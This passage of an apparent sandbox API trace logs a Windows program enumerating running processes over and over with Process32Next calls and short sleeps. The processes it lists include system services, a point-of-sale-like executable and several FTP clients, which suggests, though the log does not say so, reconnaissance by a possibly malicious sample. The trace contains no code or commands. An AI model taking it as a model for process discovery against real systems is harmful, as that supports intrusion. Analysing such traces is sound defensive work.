th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0257.204] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0257.208] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0257.213] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0257.217] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0257.220] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0257.223] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0257.227] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0257.230] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0257.237] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0257.242] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0257.247] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0257.250] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0257.253] CloseHandle (hObject=0x2200) returned 1 [0257.253] Sleep (dwMilliseconds=0x64) [0257.255] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0257.275] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.282] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.284] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.287] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.289] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.292] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.294] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.296] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.912] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.917] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.919] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.932] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.935] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.937] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.939] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.942] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.944] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.947] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.949] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.951] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.954] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.012] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.015] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.018] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0259.022] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0259.025] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.027] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.031] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.034] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0259.036] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.039] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.041] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0259.044] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.046] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.049] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.051] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.054] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.058] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.060] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0259.062] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0259.065] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0259.068] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0259.070] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0259.073] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0259.075] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0259.078] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0259.080] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0259.083] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0259.085] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0259.125] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0259.128] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0259.132] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0259.135] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0259.137] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0259.139] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0259.142] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0259.144] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0259.148] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0259.152] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0259.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0259.158] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0259.161] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0259.165] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0259.168] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0259.171] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0259.174] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0259.177] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0259.179] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0259.183] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, 